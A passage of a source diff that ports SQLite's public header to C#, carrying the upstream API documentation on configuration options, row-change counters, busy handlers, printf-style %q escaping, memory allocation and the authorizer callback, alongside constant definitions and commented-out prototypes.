    This option takes a single argument which is a pointer to an + ** instance of the [sqlite3_mutex_methods] structure. The argument specifies + ** alternative low-level mutex routines to be used in place + ** the mutex routines built into SQLite.
    + ** + **
    SQLITE_CONFIG_GETMUTEX
    + **
    This option takes a single argument which is a pointer to an + ** instance of the [sqlite3_mutex_methods] structure. The + ** [sqlite3_mutex_methods] + ** structure is filled with the currently defined mutex routines. + ** This option can be used to overload the default mutex allocation + ** routines with a wrapper used to track mutex usage for performance + ** profiling or testing, for example.
    + ** + **
    SQLITE_CONFIG_LOOKASIDE
    + **
    This option takes two arguments that determine the default + ** memory allcation lookaside optimization. The first argument is the + ** size of each lookaside buffer slot and the second is the number of + ** slots allocated to each database connection.
    + ** + **
    SQLITE_CONFIG_PCACHE
    + **
    This option takes a single argument which is a pointer to + ** an [sqlite3_pcache_methods] object. This object specifies the interface + ** to a custom page cache implementation. SQLite makes a copy of the + ** object and uses it for page cache memory allocations.
    + ** + **
    SQLITE_CONFIG_GETPCACHE
    + **
    This option takes a single argument which is a pointer to an + ** [sqlite3_pcache_methods] object. SQLite copies of the current + ** page cache implementation into that object.
    + ** + **
    + */ + //#define SQLITE_CONFIG_SINGLETHREAD 1 /* nil */ + //#define SQLITE_CONFIG_MULTITHREAD 2 /* nil */ + //#define SQLITE_CONFIG_SERIALIZED 3 /* nil */ + //#define SQLITE_CONFIG_MALLOC 4 /* sqlite3_mem_methods* */ + //#define SQLITE_CONFIG_GETMALLOC 5 /* sqlite3_mem_methods* */ + //#define SQLITE_CONFIG_SCRATCH 6 /* void*, int sz, int N */ + //#define SQLITE_CONFIG_PAGECACHE 7 /* void*, int sz, int N */ + //#define SQLITE_CONFIG_HEAP 8 /* void*, int nByte, int min */ + //#define SQLITE_CONFIG_MEMSTATUS 9 /* boolean */ + //#define SQLITE_CONFIG_MUTEX 10 /* sqlite3_mutex_methods* */ + //#define SQLITE_CONFIG_GETMUTEX 11 /* sqlite3_mutex_methods* */ + ///* previously SQLITE_CONFIG_CHUNKALLOC 12 which is now unused. */ + //#define SQLITE_CONFIG_LOOKASIDE 13 /* int int */ + //#define SQLITE_CONFIG_PCACHE 14 /* sqlite3_pcache_methods* */ + //#define SQLITE_CONFIG_GETPCACHE 15 /* sqlite3_pcache_methods* */ + const int SQLITE_CONFIG_SINGLETHREAD = 1; /* nil */ + const int SQLITE_CONFIG_MULTITHREAD = 2; /* nil */ + const int SQLITE_CONFIG_SERIALIZED = 3; /* nil */ + const int SQLITE_CONFIG_MALLOC = 4; /* sqlite3_mem_methods* */ + const int SQLITE_CONFIG_GETMALLOC = 5; /* sqlite3_mem_methods* */ + const int SQLITE_CONFIG_SCRATCH = 6; /* void*, int sz, int N */ + const int SQLITE_CONFIG_PAGECACHE = 7; /* void*, int sz, int N */ + const int SQLITE_CONFIG_HEAP = 8; /* void*, int nByte, int min */ + const int SQLITE_CONFIG_MEMSTATUS = 9; /* boolean */ + const int SQLITE_CONFIG_MUTEX = 10; /* sqlite3_mutex_methods* */ + const int SQLITE_CONFIG_GETMUTEX = 11; /* sqlite3_mutex_methods* */ + const int SQLITE_CONFIG_LOOKASIDE = 13; /* int int */ + const int SQLITE_CONFIG_PCACHE = 14; /* sqlite3_pcache_methods* */ + const int SQLITE_CONFIG_GETPCACHE = 15; /* sqlite3_pcache_methods* */ + + /* + ** CAPI3REF: Configuration Options {H10170} + ** EXPERIMENTAL + ** + ** These constants are the available integer configuration options that + ** can be passed as the second argument to the [sqlite3_db_config()] interface. + ** + ** New configuration options may be added in future releases of SQLite. + ** Existing configuration options might be discontinued. Applications + ** should check the return code from [sqlite3_db_config()] to make sure that + ** the call worked. The [sqlite3_db_config()] interface will return a + ** non-zero [error code] if a discontinued or unsupported configuration option + ** is invoked. + ** + **
    + **
    SQLITE_DBCONFIG_LOOKASIDE
    + **
    This option takes three additional arguments that determine the + ** [lookaside memory allocator] configuration for the [database connection]. + ** The first argument (the third parameter to [sqlite3_db_config()] is a + ** pointer to an 8-byte aligned memory buffer to use for lookaside memory. + ** The first argument may be NULL in which case SQLite will allocate the + ** lookaside buffer itself using [sqlite3_malloc()]. The second argument is the + ** size of each lookaside buffer slot and the third argument is the number of + ** slots. The size of the buffer in the first argument must be greater than + ** or equal to the product of the second and third arguments.
    + ** + **
    + */ + //#define SQLITE_DBCONFIG_LOOKASIDE 1001 /* void* int int */ + const int SQLITE_DBCONFIG_LOOKASIDE = 1001;/* void* int int */ + + + /* + ** CAPI3REF: Enable Or Disable Extended Result Codes {H12200} + ** + ** The sqlite3_extended_result_codes() routine enables or disables the + ** [extended result codes] feature of SQLite. The extended result + ** codes are disabled by default for historical compatibility considerations. + ** + ** Requirements: + ** [H12201] [H12202] + */ + //SQLITE_API int sqlite3_extended_result_codes(sqlite3*, int onoff); + + /* + ** CAPI3REF: Last Insert Rowid {H12220} + ** + ** Each entry in an SQLite table has a unique 64-bit signed + ** integer key called the [ROWID | "rowid"]. The rowid is always available + ** as an undeclared column named ROWID, OID, or _ROWID_ as long as those + ** names are not also used by explicitly declared columns. If + ** the table has a column of type [INTEGER PRIMARY KEY] then that column + ** is another alias for the rowid. + ** + ** This routine returns the [rowid] of the most recent + ** successful [INSERT] into the database from the [database connection] + ** in the first argument. If no successful [INSERT]s + ** have ever occurred on that database connection, zero is returned. + ** + ** If an [INSERT] occurs within a trigger, then the [rowid] of the inserted + ** row is returned by this routine as long as the trigger is running. + ** But once the trigger terminates, the value returned by this routine + ** reverts to the last value inserted before the trigger fired. + ** + ** An [INSERT] that fails due to a constraint violation is not a + ** successful [INSERT] and does not change the value returned by this + ** routine. Thus INSERT OR FAIL, INSERT OR IGNORE, INSERT OR ROLLBACK, + ** and INSERT OR ABORT make no changes to the return value of this + ** routine when their insertion fails. When INSERT OR REPLACE + ** encounters a constraint violation, it does not fail. The + ** INSERT continues to completion after deleting rows that caused + ** the constraint problem so INSERT OR REPLACE will always change + ** the return value of this interface. + ** + ** For the purposes of this routine, an [INSERT] is considered to + ** be successful even if it is subsequently rolled back. + ** + ** Requirements: + ** [H12221] [H12223] + ** + ** If a separate thread performs a new [INSERT] on the same + ** database connection while the [sqlite3_last_insert_rowid()] + ** function is running and thus changes the last insert [rowid], + ** then the value returned by [sqlite3_last_insert_rowid()] is + ** unpredictable and might not equal either the old or the new + ** last insert [rowid]. + */ + //SQLITE_API sqlite3_int64 sqlite3_last_insert_rowid(sqlite3*); + + /* + ** CAPI3REF: Count The Number Of Rows Modified {H12240} + ** + ** This function returns the number of database rows that were changed + ** or inserted or deleted by the most recently completed SQL statement + ** on the [database connection] specified by the first parameter. + ** Only changes that are directly specified by the [INSERT], [UPDATE], + ** or [DELETE] statement are counted. Auxiliary changes caused by + ** triggers are not counted. Use the [sqlite3_total_changes()] function + ** to find the total number of changes including changes caused by triggers. + ** + ** Changes to a view that are simulated by an [INSTEAD OF trigger] + ** are not counted. Only real table changes are counted. + ** + ** A "row change" is a change to a single row of a single table + ** caused by an INSERT, DELETE, or UPDATE statement. Rows that + ** are changed as side effects of [REPLACE] constraint resolution, + ** rollback, ABORT processing, [DROP TABLE], or by any other + ** mechanisms do not count as direct row changes. + ** + ** A "trigger context" is a scope of execution that begins and + ** ends with the script of a [CREATE TRIGGER | trigger]. + ** Most SQL statements are + ** evaluated outside of any trigger. This is the "top level" + ** trigger context. If a trigger fires from the top level, a + ** new trigger context is entered for the duration of that one + ** trigger. Subtriggers create subcontexts for their duration. + ** + ** Calling [sqlite3_exec()] or [sqlite3_step()] recursively does + ** not create a new trigger context. + ** + ** This function returns the number of direct row changes in the + ** most recent INSERT, UPDATE, or DELETE statement within the same + ** trigger context. + ** + ** Thus, when called from the top level, this function returns the + ** number of changes in the most recent INSERT, UPDATE, or DELETE + ** that also occurred at the top level. Within the body of a trigger, + ** the sqlite3_changes() interface can be called to find the number of + ** changes in the most recently completed INSERT, UPDATE, or DELETE + ** statement within the body of the same trigger. + ** However, the number returned does not include changes + ** caused by subtriggers since those have their own context. + ** + ** See also the [sqlite3_total_changes()] interface and the + ** [count_changes pragma]. + ** + ** Requirements: + ** [H12241] [H12243] + ** + ** If a separate thread makes changes on the same database connection + ** while [sqlite3_changes()] is running then the value returned + ** is unpredictable and not meaningful. + */ + //SQLITE_API int sqlite3_changes(sqlite3*); + + /* + ** CAPI3REF: Total Number Of Rows Modified {H12260} + ** + ** This function returns the number of row changes caused by [INSERT], + ** [UPDATE] or [DELETE] statements since the [database connection] was opened. + ** The count includes all changes from all + ** [CREATE TRIGGER | trigger] contexts. However, + ** the count does not include changes used to implement [REPLACE] constraints, + ** do rollbacks or ABORT processing, or [DROP TABLE] processing. The + ** count does not include rows of views that fire an [INSTEAD OF trigger], + ** though if the INSTEAD OF trigger makes changes of its own, those changes + ** are counted. + ** The changes are counted as soon as the statement that makes them is + ** completed (when the statement handle is passed to [sqlite3_reset()] or + ** [sqlite3_finalize()]). + ** + ** See also the [sqlite3_changes()] interface and the + ** [count_changes pragma]. + ** + ** Requirements: + ** [H12261] [H12263] + ** + ** If a separate thread makes changes on the same database connection + ** while [sqlite3_total_changes()] is running then the value + ** returned is unpredictable and not meaningful. + */ + //SQLITE_API int sqlite3_total_changes(sqlite3*); + + /* + ** CAPI3REF: Interrupt A Long-Running Query {H12270} + ** + ** This function causes any pending database operation to abort and + ** return at its earliest opportunity. This routine is typically + ** called in response to a user action such as pressing "Cancel" + ** or Ctrl-C where the user wants a long query operation to halt + ** immediately. + ** + ** It is safe to call this routine from a thread different from the + ** thread that is currently running the database operation. But it + ** is not safe to call this routine with a [database connection] that + ** is closed or might close before sqlite3_interrupt() returns. + ** + ** If an SQL operation is very nearly finished at the time when + ** sqlite3_interrupt() is called, then it might not have an opportunity + ** to be interrupted and might continue to completion. + ** + ** An SQL operation that is interrupted will return [SQLITE_INTERRUPT]. + ** If the interrupted SQL operation is an INSERT, UPDATE, or DELETE + ** that is inside an explicit transaction, then the entire transaction + ** will be rolled back automatically. + ** + ** The sqlite3_interrupt(D) call is in effect until all currently running + ** SQL statements on [database connection] D complete. Any new SQL statements + ** that are started after the sqlite3_interrupt() call and before the + ** running statements reaches zero are interrupted as if they had been + ** running prior to the sqlite3_interrupt() call. New SQL statements + ** that are started after the running statement count reaches zero are + ** not effected by the sqlite3_interrupt(). + ** A call to sqlite3_interrupt(D) that occurs when there are no running + ** SQL statements is a no-op and has no effect on SQL statements + ** that are started after the sqlite3_interrupt() call returns. + ** + ** Requirements: + ** [H12271] [H12272] + ** + ** If the database connection closes while [sqlite3_interrupt()] + ** is running then bad things will likely happen. + */ + //SQLITE_API void sqlite3_interrupt(sqlite3*); + + /* + ** CAPI3REF: Determine If An SQL Statement Is Complete {H10510} + ** + ** These routines are useful during command-line input to determine if the + ** currently entered text seems to form a complete SQL statement or + ** if additional input is needed before sending the text into + ** SQLite for parsing. These routines return 1 if the input string + ** appears to be a complete SQL statement. A statement is judged to be + ** complete if it ends with a semicolon token and is not a prefix of a + ** well-formed CREATE TRIGGER statement. Semicolons that are embedded within + ** string literals or quoted identifier names or comments are not + ** independent tokens (they are part of the token in which they are + ** embedded) and thus do not count as a statement terminator. Whitespace + ** and comments that follow the final semicolon are ignored. + ** + ** These routines return 0 if the statement is incomplete. If a + ** memory allocation fails, then SQLITE_NOMEM is returned. + ** + ** These routines do not parse the SQL statements thus + ** will not detect syntactically incorrect SQL. + ** + ** If SQLite has not been initialized using [sqlite3_initialize()] prior + ** to invoking sqlite3_complete16() then sqlite3_initialize() is invoked + ** automatically by sqlite3_complete16(). If that initialization fails, + ** then the return value from sqlite3_complete16() will be non-zero + ** regardless of whether or not the input SQL is complete. + ** + ** Requirements: [H10511] [H10512] + ** + ** The input to [sqlite3_complete()] must be a zero-terminated + ** UTF-8 string. + ** + ** The input to [sqlite3_complete16()] must be a zero-terminated + ** UTF-16 string in native byte order. + */ + //SQLITE_API int sqlite3_complete(const char *sql); + //SQLITE_API int sqlite3_complete16(const void *sql); + + /* + ** CAPI3REF: Register A Callback To Handle SQLITE_BUSY Errors {H12310} + ** + ** This routine sets a callback function that might be invoked whenever + ** an attempt is made to open a database table that another thread + ** or process has locked. + ** + ** If the busy callback is NULL, then [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] + ** is returned immediately upon encountering the lock. If the busy callback + ** is not NULL, then the callback will be invoked with two arguments. + ** + ** The first argument to the handler is a copy of the void* pointer which + ** is the third argument to sqlite3_busy_handler(). The second argument to + ** the handler callback is the number of times that the busy handler has + ** been invoked for this locking event. If the + ** busy callback returns 0, then no additional attempts are made to + ** access the database and [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] is returned. + ** If the callback returns non-zero, then another attempt + ** is made to open the database for reading and the cycle repeats. + ** + ** The presence of a busy handler does not guarantee that it will be invoked + ** when there is lock contention. If SQLite determines that invoking the busy + ** handler could result in a deadlock, it will go ahead and return [SQLITE_BUSY] + ** or [SQLITE_IOERR_BLOCKED] instead of invoking the busy handler. + ** Consider a scenario where one process is holding a read lock that + ** it is trying to promote to a reserved lock and + ** a second process is holding a reserved lock that it is trying + ** to promote to an exclusive lock. The first process cannot proceed + ** because it is blocked by the second and the second process cannot + ** proceed because it is blocked by the first. If both processes + ** invoke the busy handlers, neither will make any progress. Therefore, + ** SQLite returns [SQLITE_BUSY] for the first process, hoping that this + ** will induce the first process to release its read lock and allow + ** the second process to proceed. + ** + ** The default busy callback is NULL. + ** + ** The [SQLITE_BUSY] error is converted to [SQLITE_IOERR_BLOCKED] + ** when SQLite is in the middle of a large transaction where all the + ** changes will not fit into the in-memory cache. SQLite will + ** already hold a RESERVED lock on the database file, but it needs + ** to promote this lock to EXCLUSIVE so that it can spill cache + ** pages into the database file without harm to concurrent + ** readers. If it is unable to promote the lock, then the in-memory + ** cache will be left in an inconsistent state and so the error + ** code is promoted from the relatively benign [SQLITE_BUSY] to + ** the more severe [SQLITE_IOERR_BLOCKED]. This error code promotion + ** forces an automatic rollback of the changes. See the + ** + ** CorruptionFollowingBusyError wiki page for a discussion of why + ** this is important. + ** + ** There can only be a single busy handler defined for each + ** [database connection]. Setting a new busy handler clears any + ** previously set handler. Note that calling [sqlite3_busy_timeout()] + ** will also set or clear the busy handler. + ** + ** The busy callback should not take any actions which modify the + ** database connection that invoked the busy handler. Any such actions + ** result in undefined behavior. + ** + ** Requirements: + ** [H12311] [H12312] [H12314] [H12316] [H12318] + ** + ** A busy handler must not close the database connection + ** or [prepared statement] that invoked the busy handler. + */ + //SQLITE_API int sqlite3_busy_handler(sqlite3*, int(*)(void*,int), void*); + + /* + ** CAPI3REF: Set A Busy Timeout {H12340} + ** + ** This routine sets a [sqlite3_busy_handler | busy handler] that sleeps + ** for a specified amount of time when a table is locked. The handler + ** will sleep multiple times until at least "ms" milliseconds of sleeping + ** have accumulated. {H12343} After "ms" milliseconds of sleeping, + ** the handler returns 0 which causes [sqlite3_step()] to return + ** [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED]. + ** + ** Calling this routine with an argument less than or equal to zero + ** turns off all busy handlers. + ** + ** There can only be a single busy handler for a particular + ** [database connection] any any given moment. If another busy handler + ** was defined (using [sqlite3_busy_handler()]) prior to calling + ** this routine, that other busy handler is cleared. + ** + ** Requirements: + ** [H12341] [H12343] [H12344] + */ + //SQLITE_API int sqlite3_busy_timeout(sqlite3*, int ms); + + /* + ** CAPI3REF: Convenience Routines For Running Queries {H12370} + ** + ** Definition: A result table is memory data structure created by the + ** [sqlite3_get_table()] interface. A result table records the + ** complete query results from one or more queries. + ** + ** The table conceptually has a number of rows and columns. But + ** these numbers are not part of the result table itself. These + ** numbers are obtained separately. Let N be the number of rows + ** and M be the number of columns. + ** + ** A result table is an array of pointers to zero-terminated UTF-8 strings. + ** There are (N+1)*M elements in the array. The first M pointers point + ** to zero-terminated strings that contain the names of the columns. + ** The remaining entries all point to query results. NULL values result + ** in NULL pointers. All other values are in their UTF-8 zero-terminated + ** string representation as returned by [sqlite3_column_text()]. + ** + ** A result table might consist of one or more memory allocations. + ** It is not safe to pass a result table directly to [sqlite3_free()]. + ** A result table should be deallocated using [sqlite3_free_table()]. + ** + ** As an example of the result table format, suppose a query result + ** is as follows: + ** + **
    +    **        Name        | Age
    +    **        -----------------------
    +    **        Alice       | 43
    +    **        Bob         | 28
    +    **        Cindy       | 21
    +    ** 
    + ** + ** There are two column (M==2) and three rows (N==3). Thus the + ** result table has 8 entries. Suppose the result table is stored + ** in an array names azResult. Then azResult holds this content: + ** + **
    +    **        azResult[0] = "Name";
    +    **        azResult[1] = "Age";
    +    **        azResult[2] = "Alice";
    +    **        azResult[3] = "43";
    +    **        azResult[4] = "Bob";
    +    **        azResult[5] = "28";
    +    **        azResult[6] = "Cindy";
    +    **        azResult[7] = "21";
    +    ** 
    + ** + ** The sqlite3_get_table() function evaluates one or more + ** semicolon-separated SQL statements in the zero-terminated UTF-8 + ** string of its 2nd parameter. It returns a result table to the + ** pointer given in its 3rd parameter. + ** + ** After the calling function has finished using the result, it should + ** pass the pointer to the result table to sqlite3_free_table() in order to + ** release the memory that was malloced. Because of the way the + ** [sqlite3_malloc()] happens within sqlite3_get_table(), the calling + ** function must not try to call [sqlite3_free()] directly. Only + ** [sqlite3_free_table()] is able to release the memory properly and safely. + ** + ** The sqlite3_get_table() interface is implemented as a wrapper around + ** [sqlite3_exec()]. The sqlite3_get_table() routine does not have access + ** to any internal data structures of SQLite. It uses only the public + ** interface defined here. As a consequence, errors that occur in the + ** wrapper layer outside of the internal [sqlite3_exec()] call are not + ** reflected in subsequent calls to [sqlite3_errcode()] or [sqlite3_errmsg()]. + ** + ** Requirements: + ** [H12371] [H12373] [H12374] [H12376] [H12379] [H12382] + */ + //SQLITE_API int sqlite3_get_table( + // sqlite3 *db, /* An open database */ + // const char *zSql, /* SQL to be evaluated */ + // char ***pazResult, /* Results of the query */ + // int *pnRow, /* Number of result rows written here */ + // int *pnColumn, /* Number of result columns written here */ + // char **pzErrmsg /* Error msg written here */ + //); + //SQLITE_API void sqlite3_free_table(char **result); + + /* + ** CAPI3REF: Formatted String Printing Functions {H17400} + ** + ** These routines are workalikes of the "printf()" family of functions + ** from the standard C library. + ** + ** The sqlite3_mprintf() and sqlite3_vmprintf() routines write their + ** results into memory obtained from [sqlite3_malloc()]. + ** The strings returned by these two routines should be + ** released by [sqlite3_free()]. Both routines return a + ** NULL pointer if [sqlite3_malloc()] is unable to allocate enough + ** memory to hold the resulting string. + ** + ** In sqlite3_snprintf() routine is similar to "snprintf()" from + ** the standard C library. The result is written into the + ** buffer supplied as the second parameter whose size is given by + ** the first parameter. Note that the order of the + ** first two parameters is reversed from snprintf(). This is an + ** historical accident that cannot be fixed without breaking + ** backwards compatibility. Note also that sqlite3_snprintf() + ** returns a pointer to its buffer instead of the number of + ** characters actually written into the buffer. We admit that + ** the number of characters written would be a more useful return + ** value but we cannot change the implementation of sqlite3_snprintf() + ** now without breaking compatibility. + ** + ** As long as the buffer size is greater than zero, sqlite3_snprintf() + ** guarantees that the buffer is always zero-terminated. The first + ** parameter "n" is the total size of the buffer, including space for + ** the zero terminator. So the longest string that can be completely + ** written will be n-1 characters. + ** + ** These routines all implement some additional formatting + ** options that are useful for constructing SQL statements. + ** All of the usual printf() formatting options apply. In addition, there + ** is are "%q", "%Q", and "%z" options. + ** + ** The %q option works like %s in that it substitutes a null-terminated + ** string from the argument list. But %q also doubles every '\'' character. + ** %q is designed for use inside a string literal. By doubling each '\'' + ** character it escapes that character and allows it to be inserted into + ** the string. + ** + ** For example, assume the string variable zText contains text as follows: + ** + **
    +    **  char *zText = "It's a happy day!";
    +    ** 
    + ** + ** One can use this text in an SQL statement as follows: + ** + **
    +    **  char *zSQL = sqlite3_mprintf("INSERT INTO table VALUES('%q')", zText);
    +    **  sqlite3_exec(db, zSQL, 0, 0, 0);
    +    **  sqlite3_free(zSQL);
    +    ** 
    + ** + ** Because the %q format string is used, the '\'' character in zText + ** is escaped and the SQL generated is as follows: + ** + **
    +    **  INSERT INTO table1 VALUES('It''s a happy day!')
    +    ** 
    + ** + ** This is correct. Had we used %s instead of %q, the generated SQL + ** would have looked like this: + ** + **
    +    **  INSERT INTO table1 VALUES('It's a happy day!');
    +    ** 
    + ** + ** This second example is an SQL syntax error. As a general rule you should + ** always use %q instead of %s when inserting text into a string literal. + ** + ** The %Q option works like %q except it also adds single quotes around + ** the outside of the total string. Additionally, if the parameter in the + ** argument list is a NULL pointer, %Q substitutes the text "NULL" (without + ** single quotes) in place of the %Q option. So, for example, one could say: + ** + **
    +    **  char *zSQL = sqlite3_mprintf("INSERT INTO table VALUES(%Q)", zText);
    +    **  sqlite3_exec(db, zSQL, 0, 0, 0);
    +    **  sqlite3_free(zSQL);
    +    ** 
    + ** + ** The code above will render a correct SQL statement in the zSQL + ** variable even if the zText variable is a NULL pointer. + ** + ** The "%z" formatting option works exactly like "%s" with the + ** addition that after the string has been read and copied into + ** the result, [sqlite3_free()] is called on the input string. {END} + ** + ** Requirements: + ** [H17403] [H17406] [H17407] + */ + //SQLITE_API char *sqlite3_mprintf(const char*,...); + //SQLITE_API char *sqlite3_vmprintf(const char*, va_list); + //SQLITE_API char *sqlite3_snprintf(int,char*,const char*, ...); + + /* + ** CAPI3REF: Memory Allocation Subsystem {H17300} + ** + ** The SQLite core uses these three routines for all of its own + ** internal memory allocation needs. "Core" in the previous sentence + ** does not include operating-system specific VFS implementation. The + ** Windows VFS uses native malloc() and free() for some operations. + ** + ** The sqlite3_malloc() routine returns a pointer to a block + ** of memory at least N bytes in length, where N is the parameter. + ** If sqlite3_malloc() is unable to obtain sufficient free + ** memory, it returns a NULL pointer. If the parameter N to + ** sqlite3_malloc() is zero or negative then sqlite3_malloc() returns + ** a NULL pointer. + ** + ** Calling sqlite3_free() with a pointer previously returned + ** by sqlite3_malloc() or sqlite3_realloc() releases that memory so + ** that it might be reused. The sqlite3_free() routine is + ** a no-op if is called with a NULL pointer. Passing a NULL pointer + ** to sqlite3_free() is harmless. After being freed, memory + ** should neither be read nor written. Even reading previously freed + ** memory might result in a segmentation fault or other severe error. + ** Memory corruption, a segmentation fault, or other severe error + ** might result if sqlite3_free() is called with a non-NULL pointer that + ** was not obtained from sqlite3_malloc() or sqlite3_realloc(). + ** + ** The sqlite3_realloc() interface attempts to resize a + ** prior memory allocation to be at least N bytes, where N is the + ** second parameter. The memory allocation to be resized is the first + ** parameter. If the first parameter to sqlite3_realloc() + ** is a NULL pointer then its behavior is identical to calling + ** sqlite3_malloc(N) where N is the second parameter to sqlite3_realloc(). + ** If the second parameter to sqlite3_realloc() is zero or + ** negative then the behavior is exactly the same as calling + ** sqlite3_free(P) where P is the first parameter to sqlite3_realloc(). + ** sqlite3_realloc() returns a pointer to a memory allocation + ** of at least N bytes in size or NULL if sufficient memory is unavailable. + ** If M is the size of the prior allocation, then min(N,M) bytes + ** of the prior allocation are copied into the beginning of buffer returned + ** by sqlite3_realloc() and the prior allocation is freed. + ** If sqlite3_realloc() returns NULL, then the prior allocation + ** is not freed. + ** + ** The memory returned by sqlite3_malloc() and sqlite3_realloc() + ** is always aligned to at least an 8 byte boundary. {END} + ** + ** The default implementation of the memory allocation subsystem uses + ** the malloc(), realloc() and free() provided by the standard C library. + ** {H17382} However, if SQLite is compiled with the + ** SQLITE_MEMORY_SIZE=NNN C preprocessor macro (where NNN + ** is an integer), then SQLite create a static array of at least + ** NNN bytes in size and uses that array for all of its dynamic + ** memory allocation needs. {END} Additional memory allocator options + ** may be added in future releases. + ** + ** In SQLite version 3.5.0 and 3.5.1, it was possible to define + ** the SQLITE_OMIT_MEMORY_ALLOCATION which would cause the built-in + ** implementation of these routines to be omitted. That capability + ** is no longer provided. Only built-in memory allocators can be used. + ** + ** The Windows OS interface layer calls + ** the system malloc() and free() directly when converting + ** filenames between the UTF-8 encoding used by SQLite + ** and whatever filename encoding is used by the particular Windows + ** installation. Memory allocation errors are detected, but + ** they are reported back as [SQLITE_CANTOPEN] or + ** [SQLITE_IOERR] rather than [SQLITE_NOMEM]. + ** + ** Requirements: + ** [H17303] [H17304] [H17305] [H17306] [H17310] [H17312] [H17315] [H17318] + ** [H17321] [H17322] [H17323] + ** + ** The pointer arguments to [sqlite3_free()] and [sqlite3_realloc()] + ** must be either NULL or else pointers obtained from a prior + ** invocation of [sqlite3_malloc()] or [sqlite3_realloc()] that have + ** not yet been released. + ** + ** The application must not read or write any part of + ** a block of memory after it has been released using + ** [sqlite3_free()] or [sqlite3_realloc()]. + */ + //SQLITE_API void *sqlite3_malloc(int); + //SQLITE_API void *sqlite3_realloc(void*, int); + //SQLITE_API void sqlite3_free(void*); + + /* + ** CAPI3REF: Memory Allocator Statistics {H17370} + ** + ** SQLite provides these two interfaces for reporting on the status + ** of the [sqlite3_malloc()], [sqlite3_free()], and [sqlite3_realloc()] + ** routines, which form the built-in memory allocation subsystem. + ** + ** Requirements: + ** [H17371] [H17373] [H17374] [H17375] + */ + //SQLITE_API sqlite3_int64 sqlite3_memory_used(void); + //SQLITE_API sqlite3_int64 sqlite3_memory_highwater(int resetFlag); + + /* + ** CAPI3REF: Pseudo-Random Number Generator {H17390} + ** + ** SQLite contains a high-quality pseudo-random number generator (PRNG) used to + ** select random [ROWID | ROWIDs] when inserting new records into a table that + ** already uses the largest possible [ROWID]. The PRNG is also used for + ** the build-in random() and randomblob() SQL functions. This interface allows + ** applications to access the same PRNG for other purposes. + ** + ** A call to this routine stores N bytes of randomness into buffer P. + ** + ** The first time this routine is invoked (either internally or by + ** the application) the PRNG is seeded using randomness obtained + ** from the xRandomness method of the default [sqlite3_vfs] object. + ** On all subsequent invocations, the pseudo-randomness is generated + ** internally and without recourse to the [sqlite3_vfs] xRandomness + ** method. + ** + ** Requirements: + ** [H17392] + */ + //SQLITE_API void sqlite3_randomness(int N, void *P); + + /* + ** CAPI3REF: Compile-Time Authorization Callbacks {H12500} + ** + ** This routine registers a authorizer callback with a particular + ** [database connection], supplied in the first argument. + ** The authorizer callback is invoked as SQL statements are being compiled + ** by [sqlite3_prepare()] or its variants [sqlite3_prepare_v2()], + ** [sqlite3_prepare16()] and [sqlite3_prepare16_v2()]. At various + ** points during the compilation process, as logic is being created + ** to perform various actions, the authorizer callback is invoked to + ** see if those actions are allowed. The authorizer callback should + ** return [SQLITE_OK] to allow the action, [SQLITE_IGNORE] to disallow the + ** specific action but allow the SQL statement to continue to be + ** compiled, or [SQLITE_DENY] to cause the entire SQL statement to be + ** rejected with an error. If the authorizer callback returns + ** any value other than [SQLITE_IGNORE], [SQLITE_OK], or [SQLITE_DENY] + ** then the [sqlite3_prepare_v2()] or equivalent call that triggered + ** the authorizer will fail with an error message. + ** + ** When the callback returns [SQLITE_OK], that means the operation + ** requested is ok. When the callback returns [SQLITE_DENY], the + ** [sqlite3_prepare_v2()] or equivalent call that triggered the + ** authorizer will fail with an error message explaining that + ** access is denied. + ** + ** The first parameter to the authorizer callback is a copy of the third + ** parameter to the sqlite3_set_authorizer() interface. The second parameter + ** to the callback is an integer [SQLITE_COPY | action code] that specifies + ** the particular action to be authorized. The third through sixth parameters + ** to the callback are zero-terminated strings that contain additional + ** details about the action to be authorized. + ** + ** If the action code is [SQLITE_READ] + ** and the callback returns [SQLITE_IGNORE] then the + ** [prepared statement] statement is constructed to substitute + ** a NULL value in place of the table column that would have + ** been read if [SQLITE_OK] had been returned. The [SQLITE_IGNORE] + ** return can be used to deny an untrusted user access to individual + ** columns of a table. + ** If the action code is [SQLITE_DELETE] and the callback returns + ** [SQLITE_IGNORE] then the [DELETE] operation proceeds but the + ** [truncate optimization] is disabled and all rows are deleted individually. + ** + ** An authorizer is used when [sqlite3_prepare | preparing] + ** SQL statements from an untrusted source, to ensure that the SQL statements + ** do not try to access data they are not allowed to see, or that they do not + ** try to execute malicious statements that damage the database. For + ** example, an application may allow a user to enter arbitrary + ** SQL queries for evaluation by a database. But the application does + ** not want the user to be able to make arbitrary changes to the + ** database. An authorizer could then be put in place while the + ** user-entered SQL is being [sqlite3_prepare | prepared] that + ** disallows everything except [SELECT] statements. + ** + ** Applications that need to process SQL from untrusted sources + ** might also consider lowering resource limits using [sqlite3_limit()] + ** and limiting database size using the [max_page_count] [PRAGMA] + ** in addition to using an authorizer. + ** + ** Only a single authorizer can be in place on a database connection + ** at a time. Each call to sqlite3_set_authorizer overrides the + ** previous call. Disable the authorizer by installing a NULL callback. + ** The authorizer is disabled by default. + ** + ** The authorizer callback must not do anything that will modify + ** the database connection that invoked the authorizer callback. + ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their + ** database connections for the meaning of "modify" in this paragraph. + ** + ** When [sqlite3_prepare_v2()] is used to prepare a statement, the + ** statement might be reprepared during [sqlite3_step()] due to a + ** schema change. Hence, the application should ensure that the + ** correct authorizer callback remains in place during the [sqlite3_step()]. + ** + ** Note that the authorizer callback is invoked only during + ** [sqlite3_prepare()] or its variants. Authorization is not + ** performed during statement evaluation in [sqlite3_step()], unless + ** as stated in the previous paragraph, sqlite3_step() invokes + ** sqlite3_prepare_v2() to reprepare a statement after a schema change. + ** + ** Requirements: + ** [H12501] [H12502] [H12503] [H12504] [H12505] [H12506] [H12507] [H12510] + ** [H12511] [H12512] [H12520] [H12521] [H12522] + */ + //SQLITE_API int sqlite3_set_authorizer( + // sqlite3*, + // int (*xAuth)(void*,int,const char*,const char*,const char*,const char*), + // void *pUserData + //); + + /* + ** CAPI3REF: Authorizer Return Codes {H12590} + ** + ** The [sqlite3_set_authorizer | authorizer callback function] must + ** return either [SQLITE_OK] or one of these two constants in order + ** to signal SQLite whether or not the action is permitted. See the + ** [sqlite3_set_authorizer | authorizer documentation] for additional + ** information. + */ + //#define SQLITE_DENY 1 /* Abort the SQL statement with an error */ + //#define 